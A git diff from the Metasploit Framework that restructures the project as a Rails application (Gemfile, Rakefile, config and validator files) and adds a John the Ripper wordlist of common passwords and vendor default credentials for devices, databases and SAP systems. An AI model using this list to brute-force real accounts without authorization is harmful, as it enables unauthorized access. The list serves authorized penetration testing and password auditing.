diff --git a/.gitignore b/.gitignore index 0661f00c84..3f25443520 100644 --- a/.gitignore +++ b/.gitignore @@ -48,6 +48,9 @@ tags *.opensdf *.user +# Rails log directory +/log + # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release diff --git a/.rubocop.yml b/.rubocop.yml index bbe4e49912..3ae05511be 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -53,4 +53,4 @@ Style/StringLiterals: Style/WordArray: Enabled: false - Description: 'Metasploit prefers consistent use of []' + Description: 'Metasploit prefers consistent use of []' \ No newline at end of file diff --git a/.yardopts b/.yardopts index eb3cff1cc2..b58b0bda2b 100644 --- a/.yardopts +++ b/.yardopts @@ -3,6 +3,8 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE +app/**/*.rb lib/msf/**/*.rb +lib/metasploit/**/*.rb lib/rex/**/*.rb plugins/**/*.rb diff --git a/Gemfile b/Gemfile index 03c7fe7a01..d9c827c8a0 100755 --- a/Gemfile +++ b/Gemfile @@ -1,66 +1,53 @@ source 'https://rubygems.org' - -# Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0', '< 4.0.0' -# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) -gem 'bcrypt' -# Needed for some admin modules (scrutinizer_add_user.rb) -gem 'json' -# Needed for Meterpreter on Windows, soon others. -gem 'meterpreter_bins', '0.0.6' -# Needed by msfgui and other rpc components -gem 'msgpack' -# Needed by anemone crawler -gem 'nokogiri' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' -# Needed by JSObfu -gem 'rkelly-remix', '0.0.6' -# Needed by anemone crawler -gem 'robots' -# Needed for some post modules -gem 'sqlite3' +# Add default group gems to `metasploit-framework.gemspec`: +# spec.add_runtime_dependency '', [] +gemspec group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' + # Metasploit::Credential database models + gem 'metasploit-credential', '>= 0.8.6', '< 0.9' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '0.17.0' + gem 'metasploit_data_models', '~> 0.19' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end +group :development do + # Markdown formatting for yard + gem 'redcarpet' + # generating documentation + gem 'yard' + # for development and testing purposes + gem 'pry' +end + +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the + # 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # automatically include factories from spec/factories + gem 'factory_girl_rails' + # Make rspec output shorter and more useful + gem 'fivemat', '1.2.1' + # running documentation generation tasks and rspec tasks + gem 'rake', '>= 10.0.0' + # testing framework + gem 'rspec', '>= 2.12', '< 3.0.0' + # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the + # environment is development + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' +end + group :pcap do gem 'network_interface', '~> 0.0.1' # For sniffer and raw socket modules gem 'pcaprub' end -group :development do - # Markdown formatting for yard - gem 'redcarpet' - # generating documentation - gem 'yard' -end - -group :development, :test do - # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' - # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' - # running documentation generation tasks and rspec tasks - gem 'rake', '>= 10.0.0' -end - group :test do - # Removes records from database created during tests. Can't use rspec-rails' - # transactional fixtures because multiple connections are in use so - # transactions won't work. - gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.local.example b/Gemfile.local.example index 9788ec95dc..1707e69605 100644 --- a/Gemfile.local.example +++ b/Gemfile.local.example @@ -27,8 +27,6 @@ end # Create a custom group group :local do - # Use pry to help view and interact with objects in the framework - gem 'pry', '~> 0.9' # Use pry-debugger to step through code during development gem 'pry-debugger', '~> 0.2' # Add the lab gem so that the 'lab' plugin will work again diff --git a/Gemfile.lock b/Gemfile.lock index 2fae393140..4d4b612d97 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,90 +1,177 @@ +PATH + remote: . + specs: + metasploit-framework (4.10.1.pre.dev) + actionpack (< 4.0.0) + activesupport (>= 3.0.0, < 4.0.0) + bcrypt + json + metasploit-model (~> 0.26.1) + meterpreter_bins (= 0.0.6) + msgpack + nokogiri + packetfu (= 1.1.9) + railties + rkelly-remix (= 0.0.6) + robots + rubyzip (~> 1.1) + sqlite3 + tzinfo + GEM remote: https://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + actionpack (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + erubis (~> 2.7.0) + journey (~> 1.0.4) + rack (~> 1.4.5) + rack-cache (~> 1.2) + rack-test (~> 0.6.1) + sprockets (~> 2.2.1) + activemodel (3.2.19) + activesupport (= 3.2.19) + builder (~> 3.0.0) + activerecord (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) + activesupport (3.2.19) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) - arel (3.0.2) + arel (3.0.3) + arel-helpers (2.0.1) + activerecord (>= 3.1.0, < 5) bcrypt (3.1.7) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) - factory_girl (4.2.0) + coderay (1.1.0) + diff-lcs (1.2.5) + erubis (2.7.0) + factory_girl (4.4.0) activesupport (>= 3.0.0) + factory_girl_rails (4.4.1) + factory_girl (~> 4.4.0) + railties (>= 3.0.0) fivemat (1.2.1) - i18n (0.6.5) - json (1.8.0) - metasploit_data_models (0.17.0) - activerecord (>= 3.2.13) + hike (1.2.3) + i18n (0.6.11) + journey (1.0.4) + json (1.8.1) + metasploit-concern (0.1.1) + activesupport (~> 3.0, >= 3.0.0) + metasploit-credential (0.8.6) + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) + metasploit_data_models (~> 0.19.4) + pg + rubyntlm + rubyzip (~> 1.1) + metasploit-model (0.26.1) activesupport + metasploit_data_models (0.19.4) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) pg meterpreter_bins (0.0.6) - mini_portile (0.5.1) - msgpack (0.5.5) + method_source (0.8.2) + mini_portile (0.6.0) + msgpack (0.5.8) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.6.3.1) + mini_portile (= 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.16.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.17.1) + pry (0.10.0) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) + rack (1.4.5) + rack-cache (1.2) + rack (>= 0.4) + rack-ssl (1.3.4) + rack + rack-test (0.6.2) + rack (>= 1.0) + railties (3.2.19) + actionpack (= 3.2.19) + activesupport (= 3.2.19) + rack-ssl (~> 1.3.2) + rake (>= 0.8.7) + rdoc (~> 3.4) + thor (>= 0.14.6, < 2.0) + rake (10.3.2) + rdoc (3.12.2) + json (~> 1.4) + redcarpet (3.1.2) rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.5) - rspec-expectations (2.14.2) + rspec (2.99.0) + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rspec-collection_matchers (1.0.0) + rspec-expectations (>= 2.99.0.beta1) + rspec-core (2.99.1) + rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.3) - shoulda-matchers (2.3.0) - activesupport (>= 3.0.0) + rspec-mocks (2.99.2) + rspec-rails (2.99.0) + actionpack (>= 3.0) + activemodel (>= 3.0) + activesupport (>= 3.0) + railties (>= 3.0) + rspec-collection_matchers + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rubyntlm (0.4.0) + rubyzip (1.1.6) + shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) + slop (3.6.0) + sprockets (2.2.2) + hike (~> 1.2) + multi_json (~> 1.0) + rack (~> 1.0) + tilt (~> 1.1, != 1.3.0) sqlite3 (1.3.9) - timecop (0.6.3) - tzinfo (0.3.37) - yard (0.8.7) + thor (0.19.1) + tilt (1.4.1) + timecop (0.7.1) + tzinfo (0.3.40) + yard (0.8.7.4) PLATFORMS ruby DEPENDENCIES activerecord (>= 3.0.0, < 4.0.0) - activesupport (>= 3.0.0, < 4.0.0) - bcrypt - database_cleaner factory_girl (>= 4.1.0) + factory_girl_rails fivemat (= 1.2.1) - json - metasploit_data_models (= 0.17.0) - meterpreter_bins (= 0.0.6) - msgpack + metasploit-credential (>= 0.8.6, < 0.9) + metasploit-framework! + metasploit_data_models (~> 0.19) network_interface (~> 0.0.1) - nokogiri - packetfu (= 1.1.9) pcaprub pg (>= 0.11) + pry rake (>= 10.0.0) redcarpet - rkelly-remix (= 0.0.6) - robots - rspec (>= 2.12) + rspec (>= 2.12, < 3.0.0) + rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers simplecov (= 0.5.4) - sqlite3 timecop yard diff --git a/Rakefile b/Rakefile index 749f886717..232a7351b2 100644 --- a/Rakefile +++ b/Rakefile @@ -1,81 +1,11 @@ -require 'bundler/setup' - -pathname = Pathname.new(__FILE__) -root = pathname.parent - -# add metasploit-framework/lib to load paths so rake files can just require -# files normally without having to use __FILE__ and recalculating root and the -# path to lib -lib_pathname = root.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +#!/usr/bin/env rake +require File.expand_path('../config/application', __FILE__) +require 'metasploit/framework/require' +# @note must be before `Metasploit::Framework::Application.load_tasks` # -# load rake files like a rails engine -# +# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if +# the user installs with `bundle install --without db` +Metasploit::Framework::Require.optionally_active_record_railtie -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - # Skip database tasks, will load them later if MDM is present - next if rakefile =~ /database\.rake$/ - load rakefile -end - -print_without = false - -begin - require 'rspec/core/rake_task' -rescue LoadError - puts "rspec not in bundle, so can't set up spec tasks. " \ - "To run specs ensure to install the development and test groups." - - print_without = true -else - RSpec::Core::RakeTask.new(:spec => 'db:test:prepare') - - task :default => :spec -end - -# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if -# YARD is not defined when yard.rake is loaded. -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end - -begin - require 'metasploit_data_models' -rescue LoadError - puts "metasploit_data_models not in bundle, so can't set up db tasks. " \ - "To run database tasks, ensure to install the db bundler group." - - print_without = true -else - load 'lib/tasks/database.rake' - metasploit_data_models_task_glob = MetasploitDataModels.root.join( - 'lib', - 'tasks', - '**', - '*.rake' - ).to_s - # include tasks from metasplioit_data_models, such as `rake yard`. - # metasploit-framework specific yard options are in .yardopts - Dir.glob(metasploit_data_models_task_glob) do |path| - load path - end -end - - - -if print_without - puts "Bundle currently installed " \ - "'--without #{Bundler.settings.without.join(' ')}'." - puts "To clear the without option do `bundle install --without ''` " \ - "(the --without flag with an empty string) or " \ - "`rm -rf .bundle` to remove the .bundle/config manually and " \ - "then `bundle install`" -end +Metasploit::Framework::Application.load_tasks diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb new file mode 100644 index 0000000000..bfa804f1cb --- /dev/null +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -0,0 +1,23 @@ +# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under +# {BruteForce::Reuse}. +require 'metasploit/framework/credential' + +module Metasploit::Credential::Core::ToCredential + extend ActiveSupport::Concern + + included do + + def to_credential + Metasploit::Framework::Credential.new( + public: public.try(:username), + private: private.try(:data), + private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), + realm: realm.try(:value), + realm_key: realm.try(:key), + parent: self + ) + end + + end + +end diff --git a/app/validators/metasploit.rb b/app/validators/metasploit.rb new file mode 100644 index 0000000000..4733b4b1ed --- /dev/null +++ b/app/validators/metasploit.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/file_path_validator' +require 'metasploit/framework/executable_path_validator' \ No newline at end of file diff --git a/app/validators/metasploit/framework/executable_path_validator.rb b/app/validators/metasploit/framework/executable_path_validator.rb new file mode 100644 index 0000000000..ce5450054d --- /dev/null +++ b/app/validators/metasploit/framework/executable_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is an executable file. + class ExecutablePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.executable? value + record.errors[attribute] << (options[:message] || "is not a valid path to an executable file") + end + end + end + end +end + diff --git a/app/validators/metasploit/framework/file_path_validator.rb b/app/validators/metasploit/framework/file_path_validator.rb new file mode 100644 index 0000000000..4b1f5381b1 --- /dev/null +++ b/app/validators/metasploit/framework/file_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is a regular file. + class FilePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.file? value + record.errors[attribute] << (options[:message] || "is not a valid path to a regular file") + end + end + end + end +end + diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000000..0c3236cc7e --- /dev/null +++ b/config/application.rb @@ -0,0 +1,58 @@ +require 'rails' +require File.expand_path('../boot', __FILE__) + +all_environments = [ + :development, + :production, + :test +] + +Bundler.require( + *Rails.groups( + db: all_environments, + pcap: all_environments + ) +) + +# +# Railties +# + +# For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_view/railtie' + +# +# Project +# + +require 'metasploit/framework/common_engine' +require 'msf/base/config' + +module Metasploit + module Framework + class Application < Rails::Application + include Metasploit::Framework::CommonEngine + + environment_database_yaml = ENV['MSF_DATABASE_CONFIG'] + + if environment_database_yaml + # DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path + # and if it doesn't exist then an error should occur so the user knows the environment variable points to a + # non-existent file. + config.paths['config/database'] = environment_database_yaml + else + user_config_root = Pathname.new(Msf::Config.get_config_root) + user_database_yaml = user_config_root.join('database.yml') + + # DO check if the path exists as in test environments there may be no config root, in which case the normal + # rails location, `config/database.yml`, should contain the database config. + if user_database_yaml.exist? + config.paths['config/database'] = [user_database_yaml.to_path] + end + end + end + end +end + +# Silence warnings about this defaulting to true +I18n.enforce_available_locales = true diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000000..d1c7a63765 --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,39 @@ +require 'pathname' +require 'rubygems' + +GEMFILE_EXTENSIONS = [ + '.local', + '' +] + +msfenv_real_pathname = Pathname.new(__FILE__).realpath +root = msfenv_real_pathname.parent.parent + +unless ENV['BUNDLE_GEMFILE'] + require 'pathname' + + GEMFILE_EXTENSIONS.each do |extension| + extension_pathname = root.join("Gemfile#{extension}") + + if extension_pathname.readable? + ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path + break + end + end +end + +begin + require 'bundler' +rescue LoadError + $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" + $stderr.puts " $ gem install bundler" + exit(0) +end + +Bundler.setup + +lib_path = root.join('lib').to_path + +unless $LOAD_PATH.include? lib_path + $LOAD_PATH.unshift lib_path +end diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000000..4aa34124b9 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Metasploit::Framework::Application.initialize! diff --git a/data/john/wordlists/common_roots.txt b/data/john/wordlists/common_roots.txt new file mode 100644 index 0000000000..a2f113b3b1 --- /dev/null +++ b/data/john/wordlists/common_roots.txt @@ -0,0 +1,4724 @@ + +!1qwerty +!@#QWE123qwe +!Q2w#E4r +!Q2w3e4r +!QAZ2wsx +!QAZ2wsx#EDC4rfv +!QAZ@WSX3edc4rfv +!admin +!ishtar +!manage +!qaz@wsx +!qazXsw2 +!qwe123 +!root +$SRV +$chwarzepumpe +$rfmngr$ +$secure$ +(random +(unknown) +* +*3noguru +*password +-------- +0 +00 +000 +0000 +00000 +000000 +0000000 +00000000 +0000000000 +007007 +00850085 +010101 +010203 +012012 +012345 +0123456 +0123456789 +012465 +0392a0 +04051995 +0407056 +06061977 +06071992 +080808 +082208 +09090 +098765 +0987654321 +0P3N +0RACLE +0RACLE38 +0RACLE39 +0RACLE8 +0RACLE8I +0RACLE9 +0okmnji9 +1 +10023 +101010 +10101010 +10111011 +10118 +10135 +10143 +10144 +102030 +1020304050 +1064 +11 +111 +1111 +11111 +111111 +1111111 +11111111 +1111111111 +11112222 +1111aa +111222 +112233 +11223344 +116572 +12 +1212 +121212 +12121212 +12201220 +123 +123.com +123123 +123123123 +123132123 +123258 +123321 +1234 +12341 +12341234 +123412345 +12345 +123454321 +123456 +1234567 +12345678 +123456789 +1234567890 +12345678900987654321 +1234567890987654321 +1234567890qwertyuiop +12345678910 +1234567898 +12345678987 +123456789876 +1234567898765 +12345678987654 +123456789876543 +1234567898765432 +12345678987654321 +1234567899 +12345678998 +123456789987 +1234567899876 +12345678998765 +123456789987654 +1234567899876543 +12345678998765432 +123456789987654321 +12345678abc +123456a +1234ABCD +1234Qwer +1234admin +1234qwer! +1234qwer` +123654 +123654789 +123789 +123abc +123cztery +123mudar +123qwe +123qwe!@# +123qweASD +123qweasdzxc +123qwerty +123zxc123 +124578 +125401 +12qw!@QW +12qw34er +12qwaszx +130590 +1313 +131313 +1322222 +1340hd +134679 +14111982 +141414 +142536 +143143 +14344 +1435254 +1456 +146688 +146890 +147147 +147258 +147258369 +147852 +147852369 +147896325 +1502 +151515 +1548644 +159357 +159357** +159753 +159753456 +161616 +1660359 +166816 +17161716 +171717 +17201720 +17841784 +18140815 +181818 +187cop +19491949 +19501950 +19511951 +1969 +19750407 +198624 +1986673 +1988 +19920706 +1997 +1a2s3d4f +1keeper +1lkjhgfdsa +1q2w3e +1q2w3e4R +1q2w3e4r +1q2w3e4r.. +1q2w3e4r5t +1q2w3e4r5t6y +1qa@WS3ed +1qaz!QAZ +1qaz"WSX +1qaz0okm +1qaz2wsx +1qaz2wsx3edc +1qaz@WSX +1qazcde3 +1qazxcvb +1qazxsw2 +1qsx2waz +1qsx2wdc +2 +2000 +2010 +201036 +20112011 +20132013 +202020 +20552055 +20562056 +20572057 +20682068 +2071184 +20742074 +21 +21101981 +2112 +21121477 +212121 +21241036 +22 +22071979 +222101 +2222 +22222 +222222 +22222222 +22242224 +225225 +23041979 +23051979 +232323 +23712371 +237723 +23skidoo +24041975 +240653C9467E45 +242424 +24343 +246810 +2468369 +24Banc81 +2501 +2505463 +252525 +256256 +2580 +2594561 +266344 +2718281828 +282828 +29082908 +2WSXcder +2bornot2b +2brnot2b +2cute4u +2keeper +2read +3 +3098z +311147 +31994 +321 +3333 +333333 +33333333 +3425235 +343guiltyspark +3477 +3800326 +38483848 +3Com +3ascotel +3ep5w2u +3l3ctr1c +3stones +3ware +4 +420420 +43046721 +4321 +4444 +44444 +444444 +44444444 +456 +456123 +456789 +4636421 +493749 +4Dgifts +4changes +4getme2 +4rfv$RFV +4rfv%TGB +4rfvbhu8 +4tas +4tugboat +5 +50cent +5150 +5201314 +54321 +545981 +5555 +55555 +555555 +55555555 +5583134 +56565656 +5678 +56789 +570912 +5777364 +57gbzb +5832277 +584620 +589589 +5897 +589721 +6 +60020 +6071992 +6213744 +643558 +654321 +657 +666001 +6666 +666666 +66666666 +6922374 +6969 +696969 +69696969 +7 +735841 +741852 +741852963 +749174 +753951 +7654321 +7772000 +7777 +777777 +7777777 +77777777 +788111 +789456 +789456123 +8 +8111 +8253 +832531 +8429 +852456 +8675309 +874365 +87654321 +8888 +888888 +88888888 +8RttoTriz +9 +9225481 +951753 +963258 +9641 +987654 +987654321 +9876543210 +9999 +99999 +999999 +99999999 +999999999 +9ijn7ygv +?award +@WSX1qaz +A.M.I +ABCD +ACCESS +ACCORD +ADLDEMO +ADMIN +ADMIN welcome +ADMINISTRATOR +ADSUSER ch4ngeme +ADS_AGENT ch4ngeme +ADTRAN +AIROPLANE +ALLIN1 +ALLIN1MAIL +ALLINONE +AM +AMI +AMI!SW +AMI.KEY +AMI.KEZ +AMI?SW +AMIAMI +AMIDECOD +AMIPSWD +AMISETUP +AMI_SW +AMI~ +ANS#150 +ANYCOM +AP +APC +APPS +APPS_MRC +APPUSER +AQ +AQDEMO +AQJAVA +AQUSER +AR#Admin# +ARCHIVIST +AUDIOUSER +AWARD +AWARD?SW +AWARD_PW +AWARD_SW +Admin +Admin1 +Admin123 +Admin@123 +Administrative +Administrator +Advance +Airaya +AitbISP4eCiG +Aloysius +Any +Asante +Ascend +Asd123 +Asdfg123 +Aurora01 +Avalanche +Award +BACKUP +BASE +BATCH +BC4J +BIGO +BIOS +BIOSPASS +BRIDGE +BRIO_ADMIN +Babylon +Barricade +Berman +Biostar +Boromir1 +C0de +CALVIN +CAROLIAN +CATALOG +CCC +CDEMO82 +CDEMOCOR +CDEMORID +CDEMOUCB +CENTRA +CHANGE_ON_INSTALL +CHEY_ARCHSVR +CIDS +CIS +CISCO +CISINFO +CISSUS +CLERK +CLOTH +CMOSPWD +CMSBATCH +CNAS +COGNOS +COMPANY +COMPAQ +COMPIERE +CONCAT +CONV +CR52401 +CSMIG +CTB_ADMIN sap123 +CTXDEMO +CTXSYS +CTX_123 +Cable-docsis +Chester1 +Chocolate19 +Christmas +Cisco +Col2ogro2 +Compaq +Compleri +Congress +Craftr4 +Crocodile1 +Crystal +Crystal0! +D-Link +DBDCCIC +DBSNMP +DCL +DDIC 19920706 +DDIC Welcome01 +DECMAIL +DECNET +DEFAULT +DEMO +DEMO8 +DEMO9 +DES +DEV2000_DEMOS +DEVELOPER ch4ngeme +DIGITAL +DIP +DISC +DISCOVERER_ADMIN +DSGATEWAY +DSL +DSSYS +D_SYSPW +D_SYSTPW +Daewuu +Daytec +Dell +Dragonsoul +EARLYWATCH SUPPORT +EJSADMIN +EMP +ESSEX +ESTORE +EVENT +EXFSYS +Ektron +Everything +Exabyte +FAX +FAXUSER +FAXWORKS +FIELD +FIELD.SUPPORT +FINANCE +FND +FNDPUB +FOOBAR +FORCE +FORSE +Fireport +Flamenco +GATEWAY +GL +GPFD +GPLD +GUEST +GUESTGUE +GUESTGUEST +GWrv +Gateway +Geardog +George123 +GlobalAdmin +Guest +HARRIS +HCPARK +HELGA-S +HELP +HELPDESK +HEWITT +HLT +HLW +HOST +HP +HPDESK +HPLASER +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HPWORD +HR +HTTP +Haemorrhage +Hamster +Helpdesk +IBM +ILMI +IMAGEUSER +IMEDIA +INFO +INGRES +INSTANCE +INTERNAT +INTX3 +INVALID +IP +IPMI +ISPMODE +IS_$hostname +ITF3000 +ImageFolio +Impatiens +Insecure +Intel +Intermec +Israel123 +J2EE_ADMIN ch4ngeme +JDE +JETSPEED +JMUSER +Joel1234 +KNIGHT +Kia123 +Kitz +L2LDEMO +LASER +LASERWRITER +LBACSYS +LINK +LOTUS +LR-ISDN +LRISDN +Lasvegas1 +LdapPassword_1 +Letmein1 +Letmein2 +Local +LonDon +Lund +M +M1cha3l +MAIL +MAILER +MAINT +MANAG3R +MANAGER +MANAGER.SYS +MASTER +MBIU0 +MBMANAGER +MBWATCH +MCUrv +MCUser1 +MDDEMO +MDSYS +MFG +MGR +MGR.SYS +MGWUSER +MIGRATE +MILLER +MKO)9ijn +MMO2 +MOREAU +MPE +MSHOME +MServer +MTRPW +MTSSYS +MTS_PASSWORD +MUMBLEFRATZ +MXAGENT +MagiMFP +Manager +Master +Mau'dib +Mau?dib +Mau’dib +MiniAP +Multi +NAMES +NAU +NETBASE +NETCON +NETFRAME +NETMGR +NETNONPRIV +NETPRIV +NETSERVER +NETWORK +NEWINGRES +NEWS +NF +NFI +NICONEX +NOC +NONPRIV +NTCIP +NULL +NeXT +Nemesis1 +NetCache +NetICs +NetSeq +NetSurvibox +NetVCR +Newpass1 +NoGaH$@! +OAS_PUBLIC +OCITEST +OCS +ODM +ODS +ODSCOMMON +OE +OEM +OEMADM +OEMREP +OEM_TEMP +OLAPDBA +OO +OOOOOOOO +OP.OPERATOR +OPENSPIRIT +OPER +OPERATIONS +OPERATNS +OPERATOR +OPERVAX +ORACL3 +ORACLE +ORACLE8 +ORACLE8I +ORACLE9 +ORAREGSYS +ORASSO +ORDPLUGINS +ORDSYS +OSP22 +OUTLN +OWA +OWA_PUBLIC +OWNER +OkiLAN +Oper +Operator +OrigEquipMfr +P4ssw0rd +P@$$W0RD +P@$$w0rD +P@$$w0rd +P@$$word +P@55w0rd +P@55w0rd! +P@ssw0rd +P@ssw0rd! +P@ssword +P@ssword123 +PANAMA +PAPER +PASS +PASSW0RD +PASSWORD +PATROL +PBX +PDP11 +PDP8 +PERFSTAT +PLEX +PM +PO +PO7 +PO8 +PORTAL30 +PORTAL30_DEMO +PORTAL30_PUBLIC +PORTAL30_SSO +PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC +PORTAL31 +POST +POSTMASTER +POWERCARTUSER +PRIMARY +PRINT +PRINTER +PRIV +PRIVATE +PRODCICS +PRODDTA +PROG +PUBLIC +PUBSUB +PUBSUB1 +Pa22w0rd +Parasol1 +Partner +Pass1234 +PassW0rd +Passw0rd1111 +Password +Password#1 +Password1 +Password123 +Password@1 +PlsChgMe +PlsChgMe! +Polar123 +Polrty +Posterie +Private +Protector +Public +Q!W@E#R$ +Q54arwms +QAWSEDRF +QDBA +QDI +QNX +QS +QSECOFR +QSRV +QSRVBAS +QS_ADM +QS_CB +QS_CBADM +QS_CS +QS_ES +QS_OS +QS_WS +QUSER +Qwe12345 +Qwer!234 +Qwerty1! +Qwerty123 +R1QTPS +R3volution +RE +REGO +REMOTE +REPADMIN +REPORT +REP_OWNER +RIP000 +RJE +RM +RMAIL +RMAN +ROBELLE +ROOT +ROOT500 +RSAAppliance +RSX +RUPRECHT +ReadOnly +ReadWrite +Reptile1 +Republic1 +Rodopi +Root123 +Runaway1 +Runner11 +SABRE +SAMPLE +SAP +SAP* 06071992 +SAP* PASS +SAPCPIC ADMIN +SAPJSF ch4ngeme +SAPR3 +SAPR3 SAP +SDOS_ICSAP +SECDEMO +SECONDARY +SECRET +SECRET123 +SECURITY +SENTINEL +SER +SERVICE +SERVICECONSUMER1 +SESAME +SH +SHELVES +SITEMINDER +SKY_FOX +SLIDEPW +SMDR +SNMP +SNMP_trap +SNOWMAN +SQL +SSA +STARTER +STEEL +STRAT_PASSWD +STUDENT +SUN +SUPER +SUPERSECRET +SUPERVISOR +SUPPORT +SWITCH +SWITCHES_SW +SWORDFISH +SWPRO +SWUSER +SW_AWARD +SYMPA +SYS +SYS1 +SYSA +SYSADM +SYSLIB +SYSMAINT +SYSMAN +SYSPASS +SYSTEM +SYSTEST +SYSTEST_CLIG +SZYX +Secret +Security +Serial +Sharp +Silicon1 +SnuFG5 +SpIp +Spacve +Suckit1 +Summer12 +SunnyJim7 +Super +Super123 +Switch +Sxyz +Symbol +Sysop +System +T4urus +TAHITI +TANDBERG +TCH +TDOS_ICSAP +TELEDEMO +TELESUP +TENmanUFactOryPOWER +TEST +TESTPILOT +TJM +TMSADM $1Pawd2& +TMSADM ADMIN +TMSADM PASSWORD +TOAD +TRACE +TRAVEL +TSDEV +TSEUG +TSUSER +TTPTHA +TURBINE +Tamara01 +Tasmannet +Telecom +Test1234 +TheLast1 +Tiger +Tiny +Tokyo1 +Toshiba +Trintech +TrustNo1 +TzqF +UETP +UI-PSWD-01 +UI-PSWD-02 +ULTIMATE +UNKNOWN +USER +USER0 +USER1 +USER2 +USER3 +USER4 +USER5 +USER6 +USER7 +USER8 +USER9 +USERP +USER_TEMPLATE +UTLESTAT +Un1verse +Und3rGr0und +User +VAX +VCSRV +VESOFT +VIDEO +VIF_DEV_PWD +VIRUSER +VMS +VRR1 +VTAM +Varadero +Vextrex +WANGTEK +WEBCAL01 +WEBDB +WEBREAD +WELCOME +WINDOWS_PASSTHRU +WINSABRE +WKSYS +WLAN_AP +WOOD +WORD +WWW +WWWUSER +WebBoard +Welcome0 +Welcome1 +Welcome123 +What3v3r +Windows1 +Winston1 +Wireless +X#1833 +XLSERVER +XMI_DEMO sap123 +XPRT +YES +ZAAADA +ZAQ!2wsx +Zaq1xsw2 +Zenith +Zxasqw12 +[^_^] +_Cisco +a11b12c13 +a123456 +a12345678 +a13a13 +a1b2c3d4e5 +a1b2c3d4e5f6 +a1rplan3 +aLLy +aPAf +aa +aaaa +aaaaa +aaaaaa +aaaaaaaa +aaliyah +aammii +aaron +abang78 +abc +abc#123 +abc123 +abc123!! +abc123d4 +abcd +abcd-1234 +abcd1234 +abcde +abcdef +abcdef3 +abcdefg +abcdl2e 